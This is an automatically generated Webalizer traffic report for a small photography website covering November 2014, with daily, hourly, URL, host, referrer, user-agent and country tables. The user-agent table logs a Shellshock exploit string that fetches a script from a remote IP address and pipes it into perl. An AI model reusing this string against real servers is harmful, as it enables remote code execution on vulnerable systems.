Usage Statistics for dia-studios.com

Summary Period: November 2014
Generated 01-Dec-2014 02:17 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for November 2014
Total Hits 1474
Total Files 886
Total Pages 759
Total Visits 312
Total KBytes 13322
Total Unique Sites 215
Total Unique URLs 74
Total Unique Referrers 25
Total Unique User Agents 65
. Avg Max
Hits per Hour 2 411
Hits per Day 49 421
Files per Day 29 271
Pages per Day 25 398
Sites per Day 7 20
Visits per Day 10 20
KBytes per Day 444 5708
Hits by Response Code
Code 200 - OK 60.11% 886
Code 206 - Partial Content 0.61% 9
Code 304 - Not Modified 0.14% 2
Code 400 - Bad Request 2.10% 31
Code 403 - Forbidden 0.34% 5
Code 404 - Not Found 36.57% 539
Code 501 - Not Implemented 0.14% 2

Daily usage for November 2014

Daily Statistics for November 2014
Day Hits Files Pages Visits Sites KBytes
1 25 1.70% 21 2.37% 20 2.64% 18 5.77% 18 8.37% 36 0.27%
2 25 1.70% 21 2.37% 23 3.03% 20 6.41% 20 9.30% 30 0.23%
3 28 1.90% 18 2.03% 20 2.64% 19 6.09% 19 8.84% 26 0.20%
4 22 1.49% 17 1.92% 20 2.64% 19 6.09% 20 9.30% 7 0.05%
5 18 1.22% 17 1.92% 17 2.24% 17 5.45% 15 6.98% 6 0.04%
6 12 0.81% 10 1.13% 12 1.58% 12 3.85% 11 5.12% 3 0.03%
7 421 28.56% 9 1.02% 398 52.44% 7 2.24% 9 4.19% 272 2.04%
8 13 0.88% 5 0.56% 9 1.19% 9 2.88% 11 5.12% 17 0.13%
9 7 0.47% 3 0.34% 6 0.79% 6 1.92% 6 2.79% 2 0.02%
10 16 1.09% 11 1.24% 12 1.58% 8 2.56% 10 4.65% 339 2.55%
11 32 2.17% 27 3.05% 24 3.16% 15 4.81% 12 5.58% 498 3.74%
12 293 19.88% 271 30.59% 22 2.90% 11 3.53% 19 8.84% 5708 42.84%
13 156 10.58% 142 16.03% 22 2.90% 18 5.77% 14 6.51% 2593 19.47%
14 85 5.77% 76 8.58% 16 2.11% 13 4.17% 11 5.12% 1292 9.70%
15 14 0.95% 8 0.90% 9 1.19% 8 2.56% 10 4.65% 21 0.16%
16 17 1.15% 4 0.45% 10 1.32% 6 1.92% 10 4.65% 13 0.10%
17 14 0.95% 8 0.90% 10 1.32% 9 2.88% 11 5.12% 13 0.10%
18 5 0.34% 3 0.34% 3 0.40% 3 0.96% 4 1.86% 2 0.02%
19 13 0.88% 8 0.90% 8 1.05% 8 2.56% 9 4.19% 6 0.04%
20 7 0.47% 4 0.45% 6 0.79% 5 1.60% 5 2.33% 3 0.02%
21 23 1.56% 18 2.03% 15 1.98% 11 3.53% 11 5.12% 56 0.42%
22 15 1.02% 11 1.24% 9 1.19% 8 2.56% 10 4.65% 20 0.15%
23 58 3.93% 57 6.43% 7 0.92% 5 1.60% 5 2.33% 979 7.35%
24 14 0.95% 7 0.79% 9 1.19% 8 2.56% 9 4.19% 13 0.09%
25 12 0.81% 9 1.02% 8 1.05% 7 2.24% 8 3.72% 17 0.13%
26 83 5.63% 78 8.80% 14 1.84% 12 3.85% 7 3.26% 1314 9.86%
27 14 0.95% 7 0.79% 7 0.92% 7 2.24% 9 4.19% 22 0.16%
28 4 0.27% 4 0.45% 4 0.53% 4 1.28% 4 1.86% 1 0.01%
29 12 0.81% 4 0.45% 6 0.79% 6 1.92% 9 4.19% 6 0.04%
30 16 1.09% 8 0.90% 13 1.71% 13 4.17% 12 5.58% 5 0.04%

Hourly usage for November 2014

Hourly Statistics for November 2014
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 11 0.75% 0 8 0.90% 0 9 1.19% 1 19 0.14%
1 0 24 1.63% 0 12 1.35% 0 16 2.11% 1 18 0.13%
2 0 18 1.22% 0 10 1.13% 0 11 1.45% 0 15 0.11%
3 0 14 0.95% 0 10 1.13% 0 11 1.45% 0 13 0.10%
4 0 10 0.68% 0 7 0.79% 0 7 0.92% 1 16 0.12%
5 1 40 2.71% 0 22 2.48% 1 30 3.95% 3 91 0.68%
6 0 21 1.42% 0 13 1.47% 0 12 1.58% 1 30 0.23%
7 2 84 5.70% 2 79 8.92% 0 14 1.84% 43 1292 9.70%
8 0 14 0.95% 0 11 1.24% 0 9 1.19% 1 32 0.24%
9 3 107 7.26% 3 98 11.06% 0 24 3.16% 55 1644 12.34%
10 0 22 1.49% 0 15 1.69% 0 12 1.58% 3 77 0.58%
11 1 43 2.92% 1 35 3.95% 1 38 5.01% 1 22 0.17%
12 14 430 29.17% 0 17 1.92% 13 405 53.36% 21 617 4.63%
13 2 80 5.43% 2 77 8.69% 0 13 1.71% 43 1282 9.62%
14 4 131 8.89% 3 110 12.42% 0 14 1.84% 93 2803 21.04%
15 1 30 2.04% 0 20 2.26% 0 25 3.29% 1 27 0.20%
16 0 18 1.22% 0 11 1.24% 0 12 1.58% 1 34 0.25%
17 0 28 1.90% 0 19 2.14% 0 19 2.50% 1 43 0.32%
18 4 131 8.89% 4 126 14.22% 0 11 1.45% 76 2267 17.02%
19 0 24 1.63% 0 9 1.02% 0 13 1.71% 1 26 0.20%
20 0 12 0.81% 0 8 0.90% 0 10 1.32% 0 12 0.09%
21 0 15 1.02% 0 12 1.35% 0 13 1.71% 1 21 0.15%
22 2 87 5.90% 2 81 9.14% 0 18 2.37% 54 1632 12.25%
23 2 80 5.43% 2 76 8.58% 0 13 1.71% 43 1289 9.67%

Top 30 of 74 Total URLs
# Hits KBytes URL
1 245 16.62% 73 0.55% /
2 49 3.32% 375 2.82% /Welcome.html
3 18 1.22% 92 0.69% /Welcome_files/Welcome.css
4 16 1.09% 1990 14.94% /Welcome_files/Darkroom_spotlight.jpg
5 12 0.81% 676 5.07% /Welcome_files/IMG_3121.jpg
6 12 0.81% 569 4.27% /Welcome_files/IMG_9143.png
7 12 0.81% 16 0.12% /feed.xml
8 12 0.81% 803 6.03% /webalizer/usage_201409.html
9 11 0.75% 388 2.91% /Scripts/Widgets/SharedResources/WidgetCommon.js
10 11 0.75% 18 0.14% /Welcome_files/Welcome.js
11 10 0.68% 58 0.44% /Scripts/Widgets/Navbar/navbar.js
12 10 0.68% 387 2.90% /Scripts/iWebImage.js
13 10 0.68% 1423 10.68% /Scripts/iWebSite.js
14 9 0.61% 77 0.58% /Gallery.html
15 9 0.61% 1268 9.52% /Gallery_files/Darkroom_spotlight.jpg
16 9 0.61% 11 0.08% /Gallery_files/Gallery.css
17 9 0.61% 9 0.07% /Gallery_files/Gallery.js
18 9 0.61% 166 1.25% /Gallery_files/IMG_3110.jpg
19 9 0.61% 150 1.12% /Gallery_files/IMG_3112.jpg
20 9 0.61% 168 1.26% /Gallery_files/IMG_3119.jpg
21 9 0.61% 139 1.04% /Gallery_files/IMG_3120.jpg
22 9 0.61% 151 1.13% /Gallery_files/IMG_3122.jpg
23 9 0.61% 175 1.31% /Gallery_files/IMG_3125.jpg
24 9 0.61% 210 1.58% /Gallery_files/IMG_3126.jpg
25 9 0.61% 143 1.07% /Gallery_files/IMG_3128.jpg
26 9 0.61% 162 1.21% /Gallery_files/IMG_3130.jpg
27 9 0.61% 129 0.97% /Gallery_files/IMG_3133.jpg
28 9 0.61% 365 2.74% /Gallery_files/PhotoGray_bg_c-1.jpg
29 9 0.61% 331 2.49% /Gallery_files/PhotoGray_browser_bg-2.jpg
30 9 0.61% 6 0.04% /Gallery_files/PhotoGray_nav_bg.png

Top 10 of 74 Total URLs By KBytes
# Hits KBytes URL
1 16 1.09% 1990 14.94% /Welcome_files/Darkroom_spotlight.jpg
2 10 0.68% 1423 10.68% /Scripts/iWebSite.js
3 9 0.61% 1268 9.52% /Gallery_files/Darkroom_spotlight.jpg
4 6 0.41% 845 6.35% /The_Artists_files/Darkroom_spotlight.jpg
5 12 0.81% 803 6.03% /webalizer/usage_201409.html
6 12 0.81% 676 5.07% /Welcome_files/IMG_3121.jpg
7 12 0.81% 569 4.27% /Welcome_files/IMG_9143.png
8 6 0.41% 417 3.13% /The_Artists_files/1459815_1457007077887166_444195375479476682_n.jpg
9 11 0.75% 388 2.91% /Scripts/Widgets/SharedResources/WidgetCommon.js
10 10 0.68% 387 2.90% /Scripts/iWebImage.js

Top 5 of 5 Total Entry Pages
# Hits Visits URL
1 245 16.62% 242 89.30% /
2 49 3.32% 23 8.49% /Welcome.html
3 12 0.81% 4 1.48% /webalizer/usage_201409.html
4 9 0.61% 1 0.37% /Gallery.html
5 6 0.41% 1 0.37% /The_Artists.html

Top 6 of 6 Total Exit Pages
# Hits Visits URL
1 245 16.62% 212 79.40% /
2 49 3.32% 41 15.36% /Welcome.html
3 9 0.61% 5 1.87% /Gallery.html
4 6 0.41% 4 1.50% /The_Artists.html
5 12 0.81% 4 1.50% /webalizer/usage_201409.html
6 1 0.07% 1 0.37% / welcome.html

Top 30 of 215 Total Sites
# Hits Files KBytes Visits Hostname
1 411 27.88% 3 0.34% 261 1.96% 1 0.32% genesis.ua
2 108 7.33% 106 11.96% 1956 14.69% 2 0.64% c-76-110-228-27.hsd1.fl.comcast.net
3 78 5.29% 70 7.90% 1424 10.69% 1 0.32% 140.sub-70-209-22.myvzw.com
4 71 4.82% 69 7.79% 1279 9.60% 1 0.32% me65536d0.tmodns.net
5 70 4.75% 69 7.79% 1279 9.60% 1 0.32% c-73-49-32-149.hsd1.fl.comcast.net
6 70 4.75% 69 7.79% 1279 9.60% 1 0.32% pool-71-188-228-86.bing.east.verizon.net
7 69 4.68% 69 7.79% 1278 9.59% 1 0.32% c-50-150-188-58.hsd1.fl.comcast.net
8 69 4.68% 68 7.67% 1278 9.60% 1 0.32% c-71-199-214-138.hsd1.fl.comcast.net
9 33 2.24% 30 3.39% 633 4.75% 1 0.32% mb35536d0.tmodns.net
10 29 1.97% 28 3.16% 571 4.29% 1 0.32% c-69-138-108-62.hsd1.fl.comcast.net
11 23 1.56% 13 1.47% 10 0.08% 13 4.17% msnbot-207-46-13-21.search.msn.com
12 16 1.09% 8 0.90% 8 0.06% 8 2.56% census1.shodan.io
13 15 1.02% 11 1.24% 41 0.31% 9 2.88% crawl-66-249-69-241.googlebot.com
14 12 0.81% 12 1.35% 4 0.03% 12 3.85% 65.49.54.70
15 11 0.75% 10 1.13% 46 0.35% 7 2.24% crawl-66-249-67-84.googlebot.com
16 9 0.61% 7 0.79% 23 0.17% 5 1.60% crawl-66-249-69-220.googlebot.com
17 9 0.61% 7 0.79% 46 0.34% 6 1.92% crawl-66-249-69-236.googlebot.com
18 8 0.54% 8 0.90% 69 0.52% 4 1.28% crawl-66-249-64-15.googlebot.com
19 8 0.54% 7 0.79% 40 0.30% 6 1.92% crawl-66-249-67-92.googlebot.com
20 8 0.54% 0 0.00% 5 0.04% 0 0.00% ip13.ch1sch02009bbsh.ntwk.msn.net
21 7 0.47% 0 0.00% 4 0.03% 0 0.00% 218.204.17.70
22 7 0.47% 6 0.68% 10 0.07% 6 1.92% crawl-66-249-67-76.googlebot.com
23 7 0.47% 3 0.34% 3 0.03% 3 0.96% msnbot-157-55-39-121.search.msn.com
24 6 0.41% 6 0.68% 402 3.01% 2 0.64% 46.235.70.196
25 5 0.34% 5 0.56% 14 0.10% 1 0.32% 38.100.21.69
26 5 0.34% 5 0.56% 335 2.51% 1 0.32% 46.235.69.109
27 5 0.34% 3 0.34% 10 0.07% 1 0.32% 69.58.178.59
28 5 0.34% 0 0.00% 3 0.02% 0 0.00% 80-82-64-29.vpn.spyless.net
29 5 0.34% 0 0.00% 3 0.02% 1 0.32% static.vdc.vn
30 4 0.27% 0 0.00% 3 0.02% 0 0.00% 1.234.20.151

Top 10 of 215 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 108 7.33% 106 11.96% 1956 14.69% 2 0.64% c-76-110-228-27.hsd1.fl.comcast.net
2 78 5.29% 70 7.90% 1424 10.69% 1 0.32% 140.sub-70-209-22.myvzw.com
3 71 4.82% 69 7.79% 1279 9.60% 1 0.32% me65536d0.tmodns.net
4 70 4.75% 69 7.79% 1279 9.60% 1 0.32% c-73-49-32-149.hsd1.fl.comcast.net
5 70 4.75% 69 7.79% 1279 9.60% 1 0.32% pool-71-188-228-86.bing.east.verizon.net
6 69 4.68% 68 7.67% 1278 9.60% 1 0.32% c-71-199-214-138.hsd1.fl.comcast.net
7 69 4.68% 69 7.79% 1278 9.59% 1 0.32% c-50-150-188-58.hsd1.fl.comcast.net
8 33 2.24% 30 3.39% 633 4.75% 1 0.32% mb35536d0.tmodns.net
9 29 1.97% 28 3.16% 571 4.29% 1 0.32% c-69-138-108-62.hsd1.fl.comcast.net
10 6 0.41% 6 0.68% 402 3.01% 2 0.64% 46.235.70.196

Top 15 of 25 Total Referrers
# Hits Referrer
1 477 32.36% - (Direct Request)
2 374 25.37% ()
3 10 0.68% http://mobilegamenews.ru/dark-age-
4 3 0.20% https://www.facebook.com/
5 2 0.14% http://162.215.248.220/
6 2 0.14% http://www.google.com/url
7 1 0.07% fbapp://350685531728/composer
8 1 0.07% http://hotel.qunar.com/
9 1 0.07% http://m.facebook.com
10 1 0.07% http://rolling-films.com
11 1 0.07% http://wmaid.com/en/explore/josgrain.com/
12 1 0.07% http://www.baidu.com
13 1 0.07% http://www.netcraft.com/survey/
14 1 0.07% https://m.facebook.com/
15 1 0.07% none

Top 15 of 65 Total User Agents
# Hits User Agent
1 374 25.37% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
2 162 10.99% Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile
3 139 9.43% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
4 98 6.65% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
5 92 6.24% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
6 82 5.56% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
7 77 5.22% Mozilla/5.0 (Linux; Android 4.4.2; SCH-I545 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0
8 70 4.75% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36
9 53 3.60% Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B436 [FBAN/FBIOS;FBA
10 52 3.53% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
11 16 1.09% Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safa
12 14 0.95% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
13 14 0.95% Mozilla/5.0 (compatible; meanpathbot/1.0; +http://www.meanpath.com/meanpathbot.html)
14 13 0.88% facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
15 11 0.75% ZmEu

Usage by Country for November 2014

Top 23 of 23 Total Countries
# Hits Files KBytes Country
1 546 37.04% 511 57.67% 9567 71.81% Network (net)
2 411 27.88% 3 0.34% 261 1.96% Ukraine
3 260 17.64% 192 21.67% 1821 13.67% Commercial (com)
4 191 12.96% 154 17.38% 1638 12.30% Unresolved/Unknown
5 32 2.17% 16 1.81% 15 0.11% British Indian Ocean Territory
6 6 0.41% 6 0.68% 2 0.01% European Union
7 5 0.34% 0 0.00% 3 0.02% Viet Nam
8 3 0.20% 3 0.34% 1 0.01% Germany
9 3 0.20% 2 0.23% 9 0.07% Seychelles
10 2 0.14% 2 0.23% 1 0.00% Educational (edu)
11 2 0.14% 0 0.00% 0 0.00% Czech Republic
12 2 0.14% 2 0.23% 1 0.00% Sweden
13 1 0.07% 0 0.00% 0 0.00% Bulgaria
14 1 0.07% 0 0.00% 1 0.00% Brazil
15 1 0.07% 0 0.00% 1 0.00% Spain
16 1 0.07% 1 0.11% 0 0.00% Latvia
17 1 0.07% 0 0.00% 0 0.00% Mexico
18 1 0.07% 1 0.11% 0 0.00% Netherlands
19 1 0.07% 0 0.00% 0 0.00% Romania
20 1 0.07% 1 0.11% 0 0.00% Serbia
21 1 0.07% 0 0.00% 0 0.00% Turkey
22 1 0.07% 1 0.11% 0 0.00% United States
23 1 0.07% 0 0.00% 0 0.00% Uruguay


Generated by Webalizer Version 2.20